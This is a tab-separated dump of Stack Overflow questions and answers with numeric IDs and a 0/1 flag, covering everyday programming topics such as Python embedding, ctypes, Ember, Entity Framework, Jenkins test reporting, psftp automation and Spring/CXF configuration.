22967021	0	 <p>I ran into the same issue - all of the tutorials seem to be based on Node.js. However, I found some excellent resources to get started with from the <a href="https://chutzpah.codeplex.com/">Chutzpah Javascript Test Runner</a> project. Chutzpah appears to support QUnit, Jasmine, and Mocha testing frameworks. Essentially, install the packages/extensions listed below, follow the Jasmine tutorials for building out unit tests on the Pivotal Gist (or the Angular demo), and you'll be able to right-click (to pull up the context menu) on a Javascript test and run it (selecting the option "Run JS Tests"). Hope these resources help!</p> <p>Visual Studio Extensions:</p> <ul> <li><a href="http://visualstudiogallery.msdn.microsoft.com/f8741f04-bae4-4900-81c7-7c9bfb9ed1fe">Chutzpah Test Adapter for Test Explorer</a> (VS2012/2013 support)</li> <li><a href="http://visualstudiogallery.msdn.microsoft.com/71a4e9bd-f660-448f-bd92-f5a65d39b7f0">Chutzpah Context Menu Extension</a> (VS2012/2013 support)</li> <li><a href="https://www.nuget.org/packages/jasmine-js/">Jasmine NuGet Package</a></li> </ul> <p>Tutorials</p> <ul> <li><a href="http://blog.tyukhnin.com/2013/01/dev-nuget-jasmin-chutzpah-js-unit.html">Yuriy Tyukhnin's tutorial</a> </li> <li><a href="http://www.rosher.co.uk/post/2013/10/22/Unit-Testing-AngularJS-with-Jasmine-Chutzpah-and-Visual-Studio.aspx">Rosher Consulting's tutorial</a></li> </ul> <p><strong>Edit</strong>: Because it has been linked here, I also threw a blog post together about this - <a href="http://codeforcoffee.org/setting-up-angular-js-jasmine-and-karma-in-visual-studio/">http://codeforcoffee.org/setting-up-angular-js-jasmine-and-karma-in-visual-studio/</a></p>
31354359	0	 <p>"location" directive should be inside a 'server' directive, e.g.</p> <pre><code>server { listen 8765; location / { resolver 8.8.8.8; proxy_pass http://$http_host$uri$is_args$args; } error_page 500 502 503 504 /50x.html; location = /50x.html { root html; } } </code></pre>
10625584	1	Embedding python in multithreaded C application <p>I'm embedding the python interpreter in a multithreaded C application and I'm a little confused as to what APIs I should use to ensure thread safety.</p> <p>From what I gathered, when embedding python it is up to the embedder to take care of the GIL lock before calling any other Python C API call. This is done with these functions:</p> <pre><code>gstate = PyGILState_Ensure(); // do some python api calls, run python scripts PyGILState_Release(gstate); </code></pre> <p>But this alone doesn't seem to be enough. I still got random crashes since it doesn't seem to provide mutual exclusion for the Python APIs.</p> <p>After reading some more docs I also added: </p> <pre><code>PyEval_InitThreads(); </code></pre> <p>right after the call to <code>Py_IsInitialized()</code> but that's where the confusing part comes. The docs state that this function:</p> <blockquote> <p>Initialize and acquire the global interpreter lock</p> </blockquote> <p>This suggests that when this function returns, the GIL is supposed to be locked and should be unlocked somehow. but in practice this doesn't seem to be required. With this line in place my multithreaded worked perfectly and mutual exclusion was maintained by the <code>PyGILState_Ensure/Release</code> functions.<br> When I tried adding <code>PyEval_ReleaseLock()</code> after <code>PyEval_ReleaseLock()</code> the app dead-locked pretty quickly in a subsequent call to <code>PyImport_ExecCodeModule()</code>.</p> <p>So what am I missing here? </p>
39252109	0	 <h2>Solution #1: Star unpacking for one-line initialization</h2> <p>Star-unpacking will work, but only if all the fields in your structure are integer types. In Python 2.x, <code>c_char</code> cannot be initialized from an <code>int</code> (it works fine in 3.5). If you change the type of <code>state</code> to <code>c_byte</code>, then you can just do:</p> <pre><code>mystr = MyStruct(*myarr) </code></pre> <p>This doesn't actually benefit from any <code>array</code> specific magic (the values are briefly converted to Python <code>int</code>s in the unpacking step, so you're not reducing peak memory usage), so you'd only bother with an <code>array</code> if initializing said <code>array</code> was easier than directly reading into the structure for whatever reason.</p> <p>If you go the star unpacking route, reading <code>.state</code> will now get you <code>int</code> values instead of len 1 <code>str</code> values. If you want to initialize with <code>int</code>, but read as one character <code>str</code>, you can use a protected name wrapped in a <code>property</code>:</p> <pre><code>class MyStruct(Structure): _fields_ = [... ("_state", c_byte), # "Protected" name int-like; constructor expects int ...] @property def state(self): return chr(self._state) @state.setter def state(self, x): if isinstance(x, basestring): x = ord(x) self._state = x </code></pre> <p>A similar technique could be used without <code>property</code>s by defining your own <code>__init__</code> that converted the <code>state</code> argument passed:</p> <pre><code>class MyStruct(Structure): _fields_ = [("init", c_uint), ("state", c_char), ...] def __init__(self, init=0, state=b'\0', *args, **kwargs): if not isinstance(state, basestring): state = chr(state) super(MyStruct, self).__init__(init, state, *args, **kwargs) </code></pre> <h2>Solution #2: Direct <code>memcpy</code>-like solutions to reduce temporaries</h2> <p>You can use some <code>array</code> specific magic to avoid the temporary Python level <code>int</code>s though (and avoid the need to change <code>state</code> to <code>c_byte</code>) without real file objects using a fake (in-memory) file-like object:</p> <pre><code>import io mystr = MyStruct() # Default initialize # Use BytesIO to gain the ability to write the raw bytes to the struct # because BytesIO's readinto isn't finicky about exact buffer formats io.BytesIO(myarr.tostring()).readinto(mystr) # In Python 3, where array implements the buffer protocol, you can simplify to: io.BytesIO(myarr).readinto(mystr) # This still performs two memcpys (one occurs internally in BytesIO), but # it's faster by avoiding a Python level method call </code></pre> <p>This only works because your non-<code>c_int</code> width attributes are followed by <code>c_int</code> width attributes (so they're padded out to four bytes anyway); if you had two <code>c_ubyte</code>/<code>c_char</code>/etc. types back to back, then you'd have problems (because one value of the <code>array</code> would initialize two fields in the struct, which does not appear to be what you want).</p> <p>If you were using Python 3, you could benefit from <code>array</code> specific magic to avoid the cost of both unpacking and the two step <code>memcpy</code> of the <code>BytesIO</code> technique (from <code>array</code> -> <code>bytes</code> -> struct). It works in Py3 because Py3's <code>array</code> type supports the buffer protocol (it didn't in Py2), and because Py3's <code>memoryview</code> features a <code>cast</code> method that lets you change the format of the <code>memoryview</code> to make it directly compatible with <code>array</code>:</p> <pre><code>mystr = MyStruct() # Default initialize # Make a view on mystr's underlying memory that behaves like a C array of # unsigned ints in native format (matching array's type code) # then perform a "memcpy" like operation using empty slice assignment # to avoid creating any Python level values. memoryview(mystr).cast('B').cast('I')[:] = myarr </code></pre> <p>Like the <code>BytesIO</code> solution, this only works because your fields all happen to pad to four bytes in size</p> <h2>Performance</h2> <p>Performance-wise, star unpacking wins for small numbers of fields, but for large numbers of fields (your case has a couple dozen), direct <code>memcpy</code> based approaches win out; in tests for a 23 field class, the <code>BytesIO</code> solution won over star unpacking on my Python 2.7 install by a factor of 2.5x (star unpacking was 2.5 microseconds, <code>BytesIO</code> was 1 microsecond).</p> <p>The <code>memoryview</code> solution scales similarly to the <code>BytesIO</code> solution, though as of 3.5, it's slightly slower than the <code>BytesIO</code> approach (likely a result of the need to construct several temporary <code>memoryview</code>s to perform the necessary casting operations and/or the <code>memoryview</code> slice assignment code being general purpose for many possible formats, so it's not simple <code>memcpy</code> in implementation). <code>memoryview</code> might scale better for much larger copies (if the losses are due to the fixed <code>cast</code> overhead), but it's rare that you'd have a struct large enough to matter; it would only be in more general purpose copying scenarios (to and from <code>ctypes</code> arrays or the like) that <code>memoryview</code> would potentially win.</p>
21826359	0	 <p>My suggestion: don't take this approach. It feels dirty. Go back to the drawing board if you can.</p> <p>With that in mind, you won't be able to interject a merge like you want with the existing JSON marshalling support in Spray. You'll need to stitch it together yourself. Something like this should at least point you in the right direction (provided it be the direction you must go):</p> <pre><code>import org.json4s.JsonAST._ import org.json4s.JsonDSL._ def mergedParametersAndEntity[T](implicit m:Manifest[T]): Directive1[T] = { entity(as[JObject]).flatMap { jObject =&gt; parameterMap flatMap { params =&gt; val left = JObject(params.mapValues { v =&gt; JString(v) }.toSeq : _*) provide(left.merge(jObject).extract[T]) } } } </code></pre>
38392683	0	Why can I assign a string literal whose length is less than the array itself? <p>I'm a bit baffled that this is allowed:</p> <pre><code>char num[6] = "a"; </code></pre> <p>What is happening here? Am I assigning a pointer to the array or copying the literal values into the array (and therefore I'm able to modify them later)?</p>
23700348	0	 <p>I've created an overly complex solution that allows you to create a helper function to do an inline type of rang value finder. The ranger function takes the cut points you want to split on and then returns a function that will choose the value of the parameter based on which interval it falls. It primarily uses <code>findInterval</code> but unfortunately you inequalities don't exactly line up with how <code>findInterval</code> likes to do them so I had to do some fiddling.</p> <pre><code>#meta-helper function ranger&lt;-function(rng) { function(x, ...) { dots&lt;-list(...) stopifnot(ncol(dots)==length(rng)+1) m&lt;-findInterval(x, rng)+1 ex&lt;-match(x, rng); if (any(!is.na(ex))) { m[which(ex&gt;1)]&lt;-ex[which(ex&gt;1)] } out&lt;-rep(NA, length(x)) for(i in seq_along(dots)) { out[m==i]&lt;-rep(dots[[i]], length.out=length(x))[m==i] } out; } } #helper function abc&lt;-ranger(c(600,4000)) #implementation 1 x&lt;-c(100,2000,5000) a&lt;-abc(x, 0.01, 0.1, 0.12)*x + abc(x, 0, 118, -162); a; #implementation 2 a&lt;-abc(x, x * 0.01, 118 + (x*0.1), 318 + ((x-4000)*0.12)); a; </code></pre> <p>So while it may not be the best choice in this case, i might be useful if you have a bunch of different ranges or something like that.</p>
23734395	0	 <p>Happens if you compile for different machine types - for example 32 vs 64.</p> <p>If you have 32bits app, add --machine 32 to the nvcc param and it will be fine.</p>
4017695	0	 <p>Put your code in a closure, like this:</p> <pre><code>(function (){ if(already_done){ return; } doSomeStuff(); })(); </code></pre> <p>It should work.</p>
24658665	0	 <p>Try using the 'ren' command. So ren filename.txt filename.cat. </p>
930932	0	Returning different data type depending on the data (C++) <p>Is there anyway to do something like this?</p> <pre><code>(correct pointer datatype) returnPointer(void* ptr, int depth) { if(depth == 8) return (uint8*)ptr; else if (depth == 16) return (uint16*)ptr; else return (uint32*)ptr; } </code></pre> <p>Thanks</p>
4411861	0	 <p>You can include newlines in strings by explicitly specifying them:</p> <pre><code>&lt;string name="hint"&gt;Manny, Moe and Jack\nThey know what I\'m after.&lt;/string&gt; </code></pre> <p>Newlines in the XML are treated as spaces.</p>
2013934	0	How to get assembly version of a project in a visual studio 2008 deployment project <p>I have a deployment project in visual studio 2008 that installs several C# projects. Among other things, I'd like it to write projects assembly version to registry.</p> <p>Is there a way to automatically find out whats the projects assembly version (written in AssemblyInfo.cs) and write that as value of a registry property?</p> <p>If not, is there any way to do this better than by hand? It is important that these values are correct because they are used by our updating software.</p> <p>Thank you.</p> <p><strong>EDIT</strong>: I'm not sure I was completely clear in my question. I don't want to get this number and store it to a string. I want to write it to registry with Deployment Projects Registry Editor (not sure if that's the official name, you can get to it by right clicking the deployment project in solution explorer and navigating to View->Registry)</p>
14192908	0	 <p>You can change offset and width of your toolbar, if you want to use customview (initWithCustomView) </p> <pre><code>[myToolBar setFrame:CGRectMake(-10, 0, [UIScreen mainScreen].bounds.size.width+10, 44)]; </code></pre>
3629215	0	 <p>The layer you are looking for is https. Just make sure the requests go over https if the data is sensitive.</p>
19012720	0	Golang query multiple databases with a JOIN <p>Using the golang example below, how can I query (JOIN) multiple databases. For example, I want to have the relation <code>db1.username.id = db2.comments.username_id</code>.</p> <pre><code>id := 123 var username string err := db.QueryRow("SELECT username FROM users WHERE id=?", id).Scan(&amp;username) switch { case err == sql.ErrNoRows: log.Printf("No user with that ID.") case err != nil: log.Fatal(err) default: fmt.Printf("Username is %s\n", username) } </code></pre>
14663852	0	Get Google Document as HTML <p>I had a wild idea that I could build a website blog for an unsophisticated user friend using Google Drive Documents to back it. I was able to create a contentService that compiles a list of documents. However, I can't see a way to convert the document to HTML. I know that Google can render documents in a web page, so I wondered if it was possible to get a rendered version for use in my content service. </p> <p>Is this possible?</p>
11961081	0	 <p>You'll need to use Tomcat 7 (or any other container that supports Servlet 3.0 onwards) to use that style of programming. Look at the asynchronous request processing parts of the Servlet 3.0 specification.</p> <p>Prior to Servlet 3.0, request/response processing is synchronous. i.e. you cannot 'park' a request/response pair and then handle them later in a different thread. Pretty much as soon as your doPost() method exits, Tomcat will recycle the request and response objects ready to use them to handle a new request.</p>
39640792	0	 <p>Thanks for the inputs. I ended up removing the if statement for the ValidationSummary(). To handle both what I ended up doing was, add a second little script similar to the shown above but for the window.onload event. This way it catches the ModelState errors while the one above handles the obtrusive.</p>
18966534	0	 <p>Look at the SQL debug output, the regions are being retrieved using separate queries, that's how Cakes ORM currently works.</p> <p>In your case there's a relatively simple workaround. Just <a href="http://book.cakephp.org/2.0/en/models/associations-linking-models-together.html#creating-and-destroying-associations-on-the-fly">create a proper association on the fly</a>, for example <code>Profile belongsTo Region</code>.</p> <p>Here's an (untested) example, it adds a <code>belongsTo</code> association with the <code>foreignKey</code> option set to <code>false</code> in order to disable the automatic foreign key generation by the ORM, this is necessary as it would otherwise look for something like <code>Profile.region_id</code>. Note that consequently the <code>contain</code> config has to be changed too!</p> <pre><code>$this-&gt;Profile-&gt;bindModel(array( 'belongsTo' =&gt; array( 'Region' =&gt; array( 'foreignKey' =&gt; false, 'conditions' =&gt; array('Region.id = Store.region_id') ), ) )); $this-&gt;Paginator-&gt;settings = array( 'conditions' =&gt; array('Profile.job_title_id' =&gt; '1'), 'contain' =&gt; array('Store', 'Region') ); </code></pre> <p>That should generate a proper query that includes the <code>stores</code> as well as the <code>regions</code> table, making it possible to sort on <code>Region.name</code>. Note that the resulting array will be a little different, <code>Region</code> will not be nested in <code>Store</code>, everything will be placed in the same level, ie:</p> <pre><code>Array ( [Profile] =&gt; Array ( .... ) [Store] =&gt; Array ( .... ) [Region] =&gt; Array ( .... ) ) </code></pre> <p>Either you modify your view code accordingly, or you transform the retrieved data before passing it to the view. A third option would be to include a nested <code>Region</code> in the <code>contain</code> config, however that would result in additional queries that are totally unnecessary as the data was already fetched with the main query, so I wouldn't recommend that.</p>
23643387	0	 <p>This should do the trick:</p> <pre><code>d3.csv("wlythree.csv", function(data) { var values = []; values = data.map(function(d) { return d.percentage; }); console.log(values) }); </code></pre> <p>It yields:</p> <pre><code>["0.275862068965517", "0.137931034482759", ...] </code></pre> <p>EDIT: placed declaration of <code>values</code> inside the callback since the csv loading is asynchronous and that better reflects the script flow.</p>
34608908	0	 <p>The value of the <code>SOAPAction</code> header is wrong. The correct value should be given in the WSDL for each operation. For example <code>http://tempuri.org/HelloWorld</code> for the <code>HelloWorld</code> operation</p> <pre><code>&lt;wsdl:operation name="HelloWorld"&gt; &lt;soap:operation soapAction="http://tempuri.org/HelloWorld" style="document" /&gt; &lt;wsdl:input&gt; </code></pre> <p>or <code>http://tempuri.org/Addweb</code> for the <code>Addweb</code> operation</p>
11614708	0	 <p>Try this,</p> <pre><code>var user = document.myForm.un.value; </code></pre> <p>I'm not sure if you've already heard of JQuery but I would recommend you use it. Check this out <a href="http://jquery.com/" rel="nofollow">http://jquery.com/</a>.</p>
12273356	0	 <p>Not the code generated by the async and await keyword themselves, no. They create code that runs on your the current thread, assuming it has a synchronization context. If it doesn't then you actually do get threads, but that's using the pattern for no good reason. The <em>await expression</em>, what you write on the right side of the await keyword causes threads to run.</p> <p>But that thread is often not observable, it may be a device driver thread. Which reports that it is done with a I/O completion port. Pretty common, I/O is always a good reason to use await. If not already forced on you by WinRT, the real reason that async/await got added.</p> <p>A note about "having a synchronization context". You have one on a thread if the SynchronizationContext.Current property is not null. This is almost only ever the case on the main thread of a gui app. Also the only place where you normally ever worry about having delays not freeze your user interface.</p>
31153579	0	 <p><code>NSTimer</code> that calls a selector on the current threads run loop. It may not be 100% precise time-wise as it attempts to dequeue the message from the run loop and perform the selector.</p>
15080607	0	Ember Object in path STRING could not be found or was destroyed <p>I have a small application where I'm getting translations json for a locale and updating Ember.STRINGS. Am I doing something wrong? </p> <pre><code>$.get("http://localhost:8000/translations.json", {locale : locale}, function (data) { Ember.set('STRINGS', data) ; }); </code></pre> <p>In 0.9.5 I was doing </p> <blockquote> <pre><code>Ember.STRINGS = data </code></pre> </blockquote> <p>; and it seemed to work. When I changed it to 1.0.0 a lot of things started crashing around. Both of these don't work. </p> <blockquote> <pre><code>Ember.STRINGS = data ; Ember.set('STRINGS', data) ; </code></pre> </blockquote>
33681443	0	 <p>Have you tried any of these techniques?</p> <p>This is from <a href="https://msdn.microsoft.com/en-us/data/jj574232.aspx?f=255&amp;MSPPError=-2147217396" rel="nofollow">this MSDN page about eager loading</a></p> <pre><code>using (var context = new BloggingContext()) { // Load all blogs and related posts var blogs1 = context.Blogs .Include(b =&gt; b.Posts) .ToList(); // Load one blogs and its related posts var blog1 = context.Blogs .Where(b =&gt; b.Name == "ADO.NET Blog") .Include(b =&gt; b.Posts) .FirstOrDefault(); // Load all blogs and related posts // using a string to specify the relationship var blogs2 = context.Blogs .Include("Posts") .ToList(); // Load one blog and its related posts // using a string to specify the relationship var blog2 = context.Blogs .Where(b =&gt; b.Name == "ADO.NET Blog") .Include("Posts") .FirstOrDefault(); } </code></pre> <p><br></p> <p><strong>Some remarks on lazy and eager loading</strong></p> <p>Generelly I tend to work without lazy loading. I like to know when my entities are loaded and when not (eager loading).</p> <p>Lazy loading can be turned off </p> <ul> <li><p>completely by setting the respective property on the <code>DbContext</code>:</p> <p><code>this.Configuration.LazyLoadingEnabled = false;</code></p></li> <li><p>for a specific entity when the navigation property is not marked virtual. For more info, see the linked MSDN article</p></li> </ul>
1812894	0	 <p>Why do you want to know, what kind of database field you are using? Are you storing information from the form through raw sql? You should have some model, that you are storing information from the form and it will do all the work for you.</p> <p>Maybe you could show some form code? Right now it's hard to determine, what exactly you are trying to do.</p>
24946289	0	 <p>It's not ideal but I compare the page text against following regex since on my setup that text accompanies web page errors: </p> <pre><code>(?:(access is denied)|(access is forbidden)|(server error)|(not found)) </code></pre>
15063375	0	Jenkins + selenium tests with failsafe plugin <p>I have a Jenkins platform which calls maven to make unit tests (with surefire plugin) and integration tests (with failsafe plugin). When there is an error in the integration tests, Jenkins considers the build as successfull. Is this behavior normal? I'd prefer it considers the build as unstable. More generally, do you know how Jenkins read and interprets the result of the build to consider a build as successfull or unstable? I read somewhere on the net that the failsafe reports must be redirected to the surefire report path. I did id but the problem is still here.</p> <p>pom.xml :</p> <pre class="lang-xml prettyprint-override"><code>[...] &lt;plugin&gt; &lt;artifactId&gt;maven-surefire-plugin&lt;/artifactId&gt; &lt;version&gt;2.10&lt;/version&gt; &lt;configuration&gt; &lt;disableXmlReport&gt;false&lt;/disableXmlReport&gt; &lt;/configuration&gt; &lt;executions&gt; &lt;execution&gt; &lt;id&gt;default-test&lt;/id&gt; &lt;phase&gt;test&lt;/phase&gt; &lt;configuration&gt; &lt;includes&gt; &lt;include&gt;**/tests/**&lt;/include&gt; &lt;/includes&gt; &lt;excludes&gt; &lt;exclude&gt;**/testsIntegration/**&lt;/exclude&gt; &lt;/excludes&gt; &lt;/configuration&gt; &lt;/execution&gt; &lt;/executions&gt; &lt;/plugin&gt; &lt;plugin&gt; &lt;groupId&gt;org.apache.maven.plugins&lt;/groupId&gt; &lt;artifactId&gt;maven-failsafe-plugin&lt;/artifactId&gt; &lt;version&gt;2.7.2&lt;/version&gt; &lt;configuration&gt; &lt;disableXmlReport&gt;false&lt;/disableXmlReport&gt; &lt;reportsDirectory&gt;${basedir}/target/surefire-reports&lt;/reportsDirectory&gt; &lt;includes&gt; &lt;include&gt;com/acelys/conventionsJuridiques/*.java&lt;/include&gt; &lt;!-- ... inclure les tests Selenium --&gt; &lt;/includes&gt; &lt;/configuration&gt; &lt;executions&gt; &lt;execution&gt; &lt;id&gt;integration-test&lt;/id&gt; &lt;phase&gt;integration-test&lt;/phase&gt; &lt;goals&gt; &lt;goal&gt;integration-test&lt;/goal&gt; &lt;/goals&gt; &lt;configuration&gt; &lt;includes&gt; &lt;include&gt;**/testsIntegration/**&lt;/include&gt; &lt;/includes&gt; &lt;excludes&gt; &lt;exclude&gt;**/tests/**&lt;/exclude&gt; &lt;/excludes&gt; &lt;/configuration&gt; &lt;/execution&gt; &lt;/executions&gt; &lt;/plugin&gt; [...] </code></pre> <p>output of jenkins :</p> <pre><code>[...] mojoStarted org.apache.maven.plugins:maven-failsafe-plugin:2.7.2(integration-test) [INFO] [INFO] --- maven-failsafe-plugin:2.7.2:integration-test (integration-test) @ BaseContrats --- [INFO] Failsafe report directory: C:\jenkins_home\workspace\Base Contrats EXT JS MAVEN\target\surefire-reports ------------------------------------------------------- T E S T S ------------------------------------------------------- Running com.acelys.conventionsJuridiques.testsIntegration.connexion.TestConnexion Tests run: 1, Failures: 1, Errors: 0, Skipped: 0, Time elapsed: 23.971 sec &lt;&lt;&lt; FAILURE! Results : Failed tests: testHomePage(com.acelys.conventionsJuridiques.testsIntegration.connexion.TestConnexion) Tests run: 1, Failures: 1, Errors: 0, Skipped: 0 [WARNING] File encoding has not been set, using platform encoding Cp1252, i.e. build is platform dependent! mojoSucceeded org.apache.maven.plugins:maven-failsafe-plugin:2.7.2(integration-test) mojoStarted org.apache.tomcat.maven:tomcat6-maven-plugin:2.1-SNAPSHOT(tomcat-shutdown) [INFO] [INFO] --- tomcat6-maven-plugin:2.1-SNAPSHOT:shutdown (tomcat-shutdown) @ BaseContrats --- 25 févr. 2013 09:32:08 org.apache.coyote.http11.Http11Protocol destroy INFO: Stopping Coyote HTTP/1.1 on http-8080 25 févr. 2013 09:32:08 org.apache.catalina.core.ApplicationContext log INFO: Closing Spring root WebApplicationContext 25 févr. 2013 09:32:08 org.apache.catalina.loader.WebappClassLoader clearReferencesJdbc mojoSucceeded org.apache.tomcat.maven:tomcat6-maven-plugin:2.1-SNAPSHOT(tomcat-shutdown) projectSucceeded BaseContrats:BaseContrats:1.0-SNAPSHOT sessionEnded [INFO] ------------------------------------------------------------------------ [INFO] BUILD SUCCESS [INFO] ------------------------------------------------------------------------ [INFO] Total time: 2:07.408s [INFO] Finished at: Mon Feb 25 09:32:08 CET 2013 [INFO] Final Memory: 13M/51M [INFO] ------------------------------------------------------------------------ Projects to build: [MavenProject: BaseContrats:BaseContrats:1.0-SNAPSHOT @ C:\jenkins_home\workspace\Base Contrats EXT JS MAVEN\pom.xml] [JENKINS] Archiving C:\jenkins_home\workspace\Base Contrats EXT JS MAVEN\pom.xml to C:\jenkins_home\jobs\Base Contrats EXT JS MAVEN\modules\BaseContrats$BaseContrats\builds\2013-02-25_09-29-58\archive\BaseContrats\BaseContrats\1.0-SNAPSHOT\BaseContrats-1.0-SNAPSHOT.pom [JENKINS] Archiving C:\jenkins_home\workspace\Base Contrats EXT JS MAVEN\target\ConventionsJuridiques.war to C:\jenkins_home\jobs\Base Contrats EXT JS MAVEN\modules\BaseContrats$BaseContrats\builds\2013-02-25_09-29-58\archive\BaseContrats\BaseContrats\1.0-SNAPSHOT\BaseContrats-1.0-SNAPSHOT.war channel stopped Finished: SUCCESS </code></pre>
39905785	0	 <p>Try this...you have problem with your IBOutlet...</p> <pre><code> @IBAction func Background Cyan(sender: UIButton) { view.backgroundColor = UIColor.cyan } </code></pre> <p>Paste this code into yourstoryboard and reconnect the outlet. This will do the job...</p>
6932626	0	 <p>According to a similar <a href="http://www.mathworks.com/matlabcentral/newsreader/view_thread/164962" rel="nofollow noreferrer">discussion</a>, you can create a <a href="http://www.mathworks.com/help/techdoc/ref/uicontrol.html" rel="nofollow noreferrer">UICONTROL</a> <code>pushbutton</code> which has the advantage that it accepts HTML input string. Then using <a href="http://www.mathworks.com/matlabcentral/fileexchange/14317-findjobj-find-java-handles-of-matlab-graphic-objects" rel="nofollow noreferrer">FINDJOBJ</a>, we can fake the look of a clickable hyperlink:</p> <pre><code>fName = 'C:\path\to\file.pdf'; str = '&lt;html&gt;&lt;a href=""&gt;Click here for plot documentation&lt;/a&gt;&lt;/html&gt;'; figure('Resize','off', 'MenuBar','none') imshow('coins.png') hButton = uicontrol('Style','pushbutton', 'Position',[320 50 170 20], ... 'String',str, 'Callback',@(o,e)open(fName)); jButton = findjobj(hButton); jButton.setCursor( java.awt.Cursor(java.awt.Cursor.HAND_CURSOR) ); jButton.setContentAreaFilled(0); </code></pre> <p><img src="https://i.stack.imgur.com/qidGH.png" alt="screenshot"></p>
23867073	0	 HTTP Request is a message within a request/response sequence, according to HTTP specification. May also refer an HttpRequest class in software frameworks and libraries that automates relevant functionality
2821321	0	 <p>My teacher just emailed me back. For anyone wondering:</p> <pre><code>p(char[20]) Sample </code></pre> <p>Where 20 is the number of characters to print out.</p> <p>To print a C-style <code>NUL</code>-terminated string, you should also be able to do this:</p> <pre><code>print (char*) &amp;Sample printf "%s", &amp;Sample </code></pre>
7512013	0	 <p>If you want a designed select I'd suggest you use jQuery then find a good plugin for customizing select boxes, try Googling "jquery design select". Have never used a jQuery plugin for this but I know they exist.</p> <p>Hope this helps!</p>
13307217	0	Good naming candidates for some common name like "info" and "manager"? <p>Some books said that we should avoid using names like <code>'XXInfo'</code>, <code>'XXManager'</code> (I forgot the book name), so I try to find the good candidates for these names, but I can't find some good substitute for <code>'UserInfo'</code>, <code>'ProxyManager'</code> or something like this.</p> <p>Could anyone give some good advice about how to select the more expressive names? I'm not a English-speaking man</p>
9899163	0	 <p>I figured it out myself. It was very simple. Create individual lists for each company Add the web part of each individual lists to a page permission them by Target Audiences.</p>
1265041	0	Is it necessary to know flash designing for flex3? <p>I am from a programming background ,and newbie to flex3 . i would like to learn flex3 and develop some application using rails and flex3 . Is it necessary to know flash in order to learn flex3 or just learning Action script 3 would do ? .Can anybody tell what are the prerequisites to learn flex3 . Thanks in Advance.</p>
40810096	0	Adwords not displaying in android app <p>I have added the code for displaying Adwords ad in my android app</p> <pre><code>MobileAds.initialize(getApplicationContext(),"ca-app-key"); AdView mAdView = (AdView) findViewById(R.id.adView); AdRequest adRequest = new AdRequest.Builder() .build(); mAdView.loadAd(adRequest); </code></pre> <p>After publishing my app in Android playstore and downloading it from there to check whether ads are appearing, i see no ads.I don't understand what is going wrong here.</p>
11281985	0	 <p>In .Net, I found that the above method didn't work quite as expected. The trick was to use .Net's built-in input redirection - and not the <code>&lt;</code> operator. Here's what the code looks like now:</p> <pre class="lang-csharp prettyprint-override"><code>System.Diagnostics.Process proc = new System.Diagnostics.Process(); proc.EnableRaisingEvents = false; proc.StartInfo.FileName = "c:\\psftp.exe"; proc.StartInfo.UseShellExecute = false; proc.StartInfo.RedirectStandardInput = true; proc.StartInfo.Arguments = strIP + " -v -l " + strUsername + " -pw " + strPassword + " -b " + strBatchFilename; proc.Start(); StreamWriter myStreamWriter = proc.StandardInput; myStreamWriter.WriteLine("Y\n"); //override the public key question &lt;--- myStreamWriter.Close(); proc.WaitForExit(); proc.Close(); </code></pre>
27146719	0	 <p>Got the answer... Need to add following lines After first block of code...</p> <pre><code>//reading Big Xml File $foo = $row-&gt;EDITABLE_INFO_SECTION-&gt;load(); write_log("This is xml output".$foo); </code></pre>
25699791	0	Why can't you name a function in Go "init"? <p>So, today while I was coding I found out that creating a function with the name <code>init</code> generated an error <code>method init() not found</code>, but when I renamed it to <code>startup</code> it all worked fine.</p> <p>Is the word "init" preserved for some internal operation in Go or am I'm missing something here?</p>
3388182	0	 <p>This should answer it: <a href="http://en.wikipedia.org/wiki/Don%27t_repeat_yourself" rel="nofollow noreferrer">http://en.wikipedia.org/wiki/Don%27t_repeat_yourself</a> and <a href="http://www.codinghorror.com/blog/2007/03/curlys-law-do-one-thing.html" rel="nofollow noreferrer">http://www.codinghorror.com/blog/2007/03/curlys-law-do-one-thing.html</a></p> <blockquote> <p>Curly's Law, Do One Thing, is reflected in several core principles of modern software development:</p> <ul> <li><p><strong>Don't Repeat Yourself</strong></p> <p>If you have more than one way to express the same thing, at some point the two or three different representations will most likely fall out of step with each other. Even if they don't, you're guaranteeing yourself the headache of maintaining them in parallel whenever a change occurs. And change will occur. Don't repeat yourself is important if you want flexible and maintainable software.</p></li> <li><p><strong>Once and Only Once</strong></p> <p>Each and every declaration of behavior should occur once, and only once. This is one of the main goals, if not the main goal, when refactoring code. The design goal is to eliminate duplicated declarations of behavior, typically by merging them or replacing multiple similar implementations with a unifying abstraction.</p></li> <li><p><strong>Single Point of Truth</strong></p> <p>Repetition leads to inconsistency and code that is subtly broken, because you changed only some repetitions when you needed to change all of them. Often, it also means that you haven't properly thought through the organization of your code. Any time you see duplicate code, that's a danger sign. Complexity is a cost; don't pay it twice.</p></li> </ul> </blockquote>
15997560	0	Embedded Jetty and Jax-rs xml configuration <p>Hey guys i am trying to configure and run a Restful service using Embedded-jetty and jax-rs i found this <a href="http://java.dzone.com/articles/going-restnoxml-embedding" rel="nofollow">tutorial</a> and it works brilliantly however one of my requirements is to configure as much as possible through spring xml in the applicationContext.xml file.</p> <p>The part i would like to do in xml is the AppConfig.java class</p> <pre><code> @Configuration public class AppConfig { @Bean( destroyMethod = "shutdown" ) public SpringBus cxf() { return new SpringBus(); } @Bean public Server jaxRsServer() { JAXRSServerFactoryBean factory = RuntimeDelegate.getInstance().createEndpoint( jaxRsApiApplication(), JAXRSServerFactoryBean.class ); factory.setServiceBeans( Arrays.&lt; Object &gt;asList( peopleRestService() ) ); factory.setAddress( '/' + factory.getAddress() ); factory.setProviders( Arrays.&lt; Object &gt;asList( jsonProvider() ) ); return factory.create(); } @Bean public JaxRsApiApplication jaxRsApiApplication() { return new JaxRsApiApplication(); } @Bean public StatsRestService peopleRestService() { return new StatsRestService(); } @Bean public StatsService peopleService() { return new StatsService(); } @Bean public JacksonJsonProvider jsonProvider() { return new JacksonJsonProvider(); } } </code></pre> <p>and where it is used</p> <pre><code>context.setInitParameter( "contextClass", AnnotationConfigWebApplicationContext.class.getName() ); context.setInitParameter( "contextConfigLocation", AppConfig.class.getName() ); </code></pre> <p>unfortunately i can not find any decent posts online on how to do this in XML, i would greatly appreciate some help.</p>
5668411	0	 <p>Try <a href="http://help.adobe.com/en_US/FlashPlatform/reference/actionscript/3/flash/display/BlendMode.html#LAYER" rel="nofollow">BlendMode.LAYER</a>, it saved many lives.</p>
260528	0	 <p>Don't use the session!!! If the user opens a second tab with a different request the session will be reused and the results will not be the ones that he/she expects. You can use a combination of ViewState and Session but still measure how much you can handle without any sort of caching before you resort to caching.</p>
